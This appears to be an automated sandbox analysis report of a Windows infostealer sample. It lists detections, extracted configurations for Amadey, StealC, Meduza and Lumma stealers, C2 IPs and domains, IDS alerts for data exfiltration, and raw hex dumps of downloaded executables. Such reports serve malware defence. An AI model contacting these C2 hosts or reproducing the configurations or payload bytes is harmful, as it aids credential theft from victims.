Source: http://185.215.113.206/al	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/yY	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/t	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpKwiEu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php-d	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpol	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/_u	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpqBM	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiS	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz:443/apicryptPrimitives.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php?d	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/P	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/wuvIa	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000013.00000002.1893946605.00000000006E1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.Ed7zZr4.exe.140000000.0.raw.unpack	Malware Configuration Extractor: Meduza Stealer {"C2 url": "5.252.155.28", "anti_vm": true, "anti_dbg": true, "port": 15666, "build_name": "824", "self_destruct": true, "extensions": "none", "links": "none", "grabber_max_size": 1048576}
Source: file.exe.7308.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: bbbef9e2c3.exe.4736.27.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["impend-differ.biz", "print-vexer.biz", "dare-curbys.biz", "atten-supporse.biz", "formy-spill.biz", "se-blurry.biz", "covery-mover.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE7A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE744C0 PK11_PubEncrypt,	0_2_6CE744C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE74440 PK11_PrivDecrypt,	0_2_6CE74440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE44420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CEC25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE5E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE58670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE58670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CE7A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CE9A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CEA0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE743B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CE743B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE97C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CE97C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE57D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE57D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CE9BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE99EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CE99EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE73FF0 PK11_PrivDecryptPKCS1,	0_2_6CE73FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE79840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CE79840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE73850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CE73850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CE9DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA7410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	0_2_6CEA7410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE73560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CE73560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.7:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50006 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1886279357.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49906 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49915
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49944 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049441 - Severity 1 - ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt : 192.168.2.7:49941 -> 5.252.155.28:15666
Source: Network traffic	Suricata IDS: 2050806 - Severity 1 - ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2 : 192.168.2.7:49941 -> 5.252.155.28:15666
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:59398 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49963 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49962 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49973 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49982 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49983 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49986 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49994 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50001 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49973 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49973 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49994 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49963 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49963 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: global traffic

TCP traffic: 192.168.2.7:49941 -> 5.252.155.28:15666

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 17:26:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 17:26:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 